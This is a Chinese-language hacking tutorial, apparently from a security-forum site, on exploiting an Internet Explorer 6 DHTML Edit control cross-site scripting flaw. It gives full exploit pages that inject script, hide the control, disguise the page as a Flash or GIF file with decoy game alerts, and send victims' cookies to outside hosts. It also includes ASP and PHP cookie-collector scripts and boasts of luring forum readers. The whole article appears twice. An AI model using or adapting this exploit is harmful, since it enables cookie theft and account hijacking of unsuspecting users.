MSIE DHTML Edit跨站腳本漏洞
更新時(shí)間:2007年01月16日 00:00:00 作者:
微軟在去年發(fā)布了MSIE DHTML Edit控件跨站腳本漏洞,但是圈內(nèi)一直沒(méi)有公布出好用的EXP,害得一幫新手叫苦不迭,別急,這不是為大家送來(lái)了大餐嗎?!
[受影響系統(tǒng)]
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Home SP1
- Microsoft Windows XP Home
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000
[漏洞描述]
Microsoft Internet Explorer DHTML edit控件不正確過(guò)濾部分?jǐn)?shù)據(jù),遠(yuǎn)程攻擊者可以利用這個(gè)漏洞進(jìn)行跨站腳本攻擊,獲得敏感信息。DHTML編輯控件存在一個(gè)安全問(wèn)題可被父窗口訪問(wèn),包括Script函數(shù),攻擊者使用exeScript直接注入javascript到控件,當(dāng)目標(biāo)用戶打開(kāi)惡意鏈接時(shí),會(huì)導(dǎo)致惡意腳本代碼執(zhí)行,泄露敏感信息。
看來(lái)只能影響到IE 6.0版本,并且對(duì)Windows XP SP2沒(méi)有作用,不過(guò)沒(méi)有給XP打SP2補(bǔ)丁的用戶不在少數(shù),這個(gè)漏洞的利用價(jià)值還是蠻大的。
由于我使用的是Windwos XP SP1正好存在這個(gè)漏洞,我們就先來(lái)測(cè)試一下吧,在本地建立如下內(nèi)容的HTML頁(yè)面:
<html>
<head>
<title>測(cè)試</title>
</head>
<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在裝載,請(qǐng)稍后
++++++++++++++</b>\'');setTimeout('main()',1000)">
<object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="800"
height="600"
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?
action=showone&boardid=0","poorchild");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
alert('等等++++++++++++++++++++++++++');
x.DOM.Script.execScript('alert(document.cookie)');
}
</SCRIPT>
</body>
</html>
用IE瀏覽器打開(kāi),如果你的系統(tǒng)存在這個(gè)漏洞,看出現(xiàn)了什么。
呵呵,彈出了我在黑防論壇上的Cookie信息。不過(guò)這個(gè)頁(yè)面利用起來(lái)很不方便,并且成功率不高,如果沒(méi)等到DHTML控件加載完畢就點(diǎn)擊確定,是不會(huì)彈出任何Cookie信息的。
沒(méi)等到頁(yè)面加載完畢就點(diǎn)擊彈出的第一個(gè)確定,一定會(huì)攻擊失敗,看來(lái)還是不足的。我們來(lái)對(duì)這個(gè)頁(yè)面進(jìn)行一下補(bǔ)充和修改吧,使得它成為一個(gè)成功率高的偷取Cookie信息的網(wǎng)頁(yè),好了,我們現(xiàn)在開(kāi)始動(dòng)手。
為了增加加載時(shí)間我們先將setTimeout('main()',1000)中的參數(shù)改大一些,就設(shè)成10000把,也就是10秒,夠長(zhǎng)了。雖然頁(yè)面顯示著正在加載,但狀態(tài)欄中卻顯示著完畢,我們來(lái)修改狀態(tài)欄的文字,加入如下的函數(shù):
function clock() {
var title="正在裝載,請(qǐng)稍后++++++++++++++";
status=title;
}
為了盡可能的誘使瀏覽者去打開(kāi)這個(gè)頁(yè)面,我們把它改名成.swf格式的文件,即把此頁(yè)面?zhèn)窝b成一個(gè)Flash文件。在頁(yè)面中加入:
<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">
<param name="movie" value="/college/UploadPic/2006/8/27/2006827233410827.swf">
<param name="quality" value="High">
<embed src="/college/UploadPic/2006/8/27/2006827233410827.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object>
同時(shí)隱藏DHTML控件,即將DHTML空間的width,height屬性設(shè)置成0。為了將Cookie發(fā)送,我們添加如下腳本:
x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");
這是為了測(cè)試方便,我將瀏覽者的Cookie信息發(fā)送到了網(wǎng)上一個(gè)發(fā)表評(píng)論的地方了。最終的測(cè)試頁(yè)面是:
<html>
<head>
<title>測(cè)試</title>
</head>
<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在裝載,請(qǐng)稍后++++++++++++++</b>\'');clock();setTimeout('main()',10000)">
<object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="0"
height="0"
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function clock() {
var title="正在裝載,請(qǐng)稍后++++++++++++++";
status=title;
}
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
alert("游戲名稱:神秘祭壇\n");
alert("測(cè)試通過(guò)者擁有著超人的觀察力!\n");
alert("全世界只有10個(gè)人可以全部找出!\n");
alert("相信你就是這10個(gè)人中的一員\n");
alert("祝你好運(yùn)++++++++++++++++++++\n");
alert("務(wù)必在找到不同后點(diǎn)擊確定??!\n");
//x.DOM.Script.execScript('alert(document.cookie)');
x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");
}
</SCRIPT>
<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">
<param name="movie" value="/college/UploadPic/2006/8/27/2006827233410827.swf">
<param name="quality" value="High">
<embed src="/college/UploadPic/2006/8/27/2006827233410827.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object>
</body>
</html>
其中的/college/UploadPic/2006/8/27/2006827233410827.swf是朋友發(fā)給我的地址,把我給下了一跳,不過(guò)沒(méi)想到我卻用它來(lái)騙稿費(fèi)了,呵呵。
為了測(cè)試,趕快去黑防論壇發(fā)表一篇文章,要有吸引力才行。
夠有吸引力的了吧?我猜中招的一定不少!其實(shí)我們可以把以上的攻擊文件改名成.swf,為了在論壇上傳方便(不允許swf格式),我改名為gif格式了。
由于它是利用的IE漏洞,這個(gè)頁(yè)面的地址可以在任意地方,不過(guò)注意:
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild");
}
這個(gè)函數(shù)中定義了我們要偷取瀏覽者機(jī)器中站點(diǎn)的Cookie信息,我設(shè)置的是黑防論壇的,大家可以換成要攻擊的論壇。同時(shí)這個(gè)頁(yè)面也要選取內(nèi)容少的頁(yè)面,最好不要帶圖片,以加快載入時(shí)間。
好,我自己就先來(lái)看看效果吧。
看來(lái)是成功了,為了不讓瀏覽者看到自己的的Cookie信息,可以把它發(fā)送到自己定制的ASP頁(yè)面,方法是在支持ASP和FSO組件的空間上建立以下頁(yè)面:
<%
testfile=Server.MapPath("cookie.txt")
cookie=Request("cookie")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&cookie& "")
thisfile.close
set fs = nothing
%>
將它命名為Cookie.asp,注意修改以下內(nèi)容:
x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");
改為
x.DOM.Script.execScript("window.open('http://youwebsite.com/cookie.asp?cookie= '+document.cookie)");
或在支持PHP的空間建立以下頁(yè)面:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://wwwhacker.com.cn");
這樣通過(guò)這個(gè)漏洞,我們就可以偷取到任何論壇的Cookie信息了,不管論壇做了多么安全,只要瀏覽者IE存在此漏洞,就可成功獲取別人的Cookie,這可稱得上是論壇殺手了!
[受影響系統(tǒng)]
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Home SP1
- Microsoft Windows XP Home
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000
[漏洞描述]
Microsoft Internet Explorer DHTML edit控件不正確過(guò)濾部分?jǐn)?shù)據(jù),遠(yuǎn)程攻擊者可以利用這個(gè)漏洞進(jìn)行跨站腳本攻擊,獲得敏感信息。DHTML編輯控件存在一個(gè)安全問(wèn)題可被父窗口訪問(wèn),包括Script函數(shù),攻擊者使用exeScript直接注入javascript到控件,當(dāng)目標(biāo)用戶打開(kāi)惡意鏈接時(shí),會(huì)導(dǎo)致惡意腳本代碼執(zhí)行,泄露敏感信息。
看來(lái)只能影響到IE 6.0版本,并且對(duì)Windows XP SP2沒(méi)有作用,不過(guò)沒(méi)有給XP打SP2補(bǔ)丁的用戶不在少數(shù),這個(gè)漏洞的利用價(jià)值還是蠻大的。
由于我使用的是Windwos XP SP1正好存在這個(gè)漏洞,我們就先來(lái)測(cè)試一下吧,在本地建立如下內(nèi)容的HTML頁(yè)面:
<html>
<head>
<title>測(cè)試</title>
</head>
<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在裝載,請(qǐng)稍后
++++++++++++++</b>\'');setTimeout('main()',1000)">
<object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="800"
height="600"
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?
action=showone&boardid=0","poorchild");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
alert('等等++++++++++++++++++++++++++');
x.DOM.Script.execScript('alert(document.cookie)');
}
</SCRIPT>
</body>
</html>
用IE瀏覽器打開(kāi),如果你的系統(tǒng)存在這個(gè)漏洞,看出現(xiàn)了什么。
呵呵,彈出了我在黑防論壇上的Cookie信息。不過(guò)這個(gè)頁(yè)面利用起來(lái)很不方便,并且成功率不高,如果沒(méi)等到DHTML控件加載完畢就點(diǎn)擊確定,是不會(huì)彈出任何Cookie信息的。
沒(méi)等到頁(yè)面加載完畢就點(diǎn)擊彈出的第一個(gè)確定,一定會(huì)攻擊失敗,看來(lái)還是不足的。我們來(lái)對(duì)這個(gè)頁(yè)面進(jìn)行一下補(bǔ)充和修改吧,使得它成為一個(gè)成功率高的偷取Cookie信息的網(wǎng)頁(yè),好了,我們現(xiàn)在開(kāi)始動(dòng)手。
為了增加加載時(shí)間我們先將setTimeout('main()',1000)中的參數(shù)改大一些,就設(shè)成10000把,也就是10秒,夠長(zhǎng)了。雖然頁(yè)面顯示著正在加載,但狀態(tài)欄中卻顯示著完畢,我們來(lái)修改狀態(tài)欄的文字,加入如下的函數(shù):
function clock() {
var title="正在裝載,請(qǐng)稍后++++++++++++++";
status=title;
}
為了盡可能的誘使瀏覽者去打開(kāi)這個(gè)頁(yè)面,我們把它改名成.swf格式的文件,即把此頁(yè)面?zhèn)窝b成一個(gè)Flash文件。在頁(yè)面中加入:
<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">
<param name="movie" value="/college/UploadPic/2006/8/27/2006827233410827.swf">
<param name="quality" value="High">
<embed src="/college/UploadPic/2006/8/27/2006827233410827.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object>
同時(shí)隱藏DHTML控件,即將DHTML空間的width,height屬性設(shè)置成0。為了將Cookie發(fā)送,我們添加如下腳本:
x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");
這是為了測(cè)試方便,我將瀏覽者的Cookie信息發(fā)送到了網(wǎng)上一個(gè)發(fā)表評(píng)論的地方了。最終的測(cè)試頁(yè)面是:
<html>
<head>
<title>測(cè)試</title>
</head>
<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在裝載,請(qǐng)稍后++++++++++++++</b>\'');clock();setTimeout('main()',10000)">
<object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="0"
height="0"
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function clock() {
var title="正在裝載,請(qǐng)稍后++++++++++++++";
status=title;
}
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
alert("游戲名稱:神秘祭壇\n");
alert("測(cè)試通過(guò)者擁有著超人的觀察力!\n");
alert("全世界只有10個(gè)人可以全部找出!\n");
alert("相信你就是這10個(gè)人中的一員\n");
alert("祝你好運(yùn)++++++++++++++++++++\n");
alert("務(wù)必在找到不同后點(diǎn)擊確定??!\n");
//x.DOM.Script.execScript('alert(document.cookie)');
x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");
}
</SCRIPT>
<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">
<param name="movie" value="/college/UploadPic/2006/8/27/2006827233410827.swf">
<param name="quality" value="High">
<embed src="/college/UploadPic/2006/8/27/2006827233410827.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object>
</body>
</html>
其中的/college/UploadPic/2006/8/27/2006827233410827.swf是朋友發(fā)給我的地址,把我給下了一跳,不過(guò)沒(méi)想到我卻用它來(lái)騙稿費(fèi)了,呵呵。
為了測(cè)試,趕快去黑防論壇發(fā)表一篇文章,要有吸引力才行。
夠有吸引力的了吧?我猜中招的一定不少!其實(shí)我們可以把以上的攻擊文件改名成.swf,為了在論壇上傳方便(不允許swf格式),我改名為gif格式了。
由于它是利用的IE漏洞,這個(gè)頁(yè)面的地址可以在任意地方,不過(guò)注意:
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild");
}
這個(gè)函數(shù)中定義了我們要偷取瀏覽者機(jī)器中站點(diǎn)的Cookie信息,我設(shè)置的是黑防論壇的,大家可以換成要攻擊的論壇。同時(shí)這個(gè)頁(yè)面也要選取內(nèi)容少的頁(yè)面,最好不要帶圖片,以加快載入時(shí)間。
好,我自己就先來(lái)看看效果吧。
看來(lái)是成功了,為了不讓瀏覽者看到自己的的Cookie信息,可以把它發(fā)送到自己定制的ASP頁(yè)面,方法是在支持ASP和FSO組件的空間上建立以下頁(yè)面:
<%
testfile=Server.MapPath("cookie.txt")
cookie=Request("cookie")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&cookie& "")
thisfile.close
set fs = nothing
%>
將它命名為Cookie.asp,注意修改以下內(nèi)容:
x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");
改為
x.DOM.Script.execScript("window.open('http://youwebsite.com/cookie.asp?cookie= '+document.cookie)");
或在支持PHP的空間建立以下頁(yè)面:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://wwwhacker.com.cn");
這樣通過(guò)這個(gè)漏洞,我們就可以偷取到任何論壇的Cookie信息了,不管論壇做了多么安全,只要瀏覽者IE存在此漏洞,就可成功獲取別人的Cookie,這可稱得上是論壇殺手了!
相關(guān)文章
專家觀點(diǎn):破解MD5和SHA-1不意味密碼破解(圖)
破解MD5和SHA-1不意味密碼破解2007-01-01動(dòng)易SQL版新洞利用短信功能直接拿后臺(tái)
動(dòng)易SQL版新洞利用短信功能直接拿后臺(tái)...2007-01-01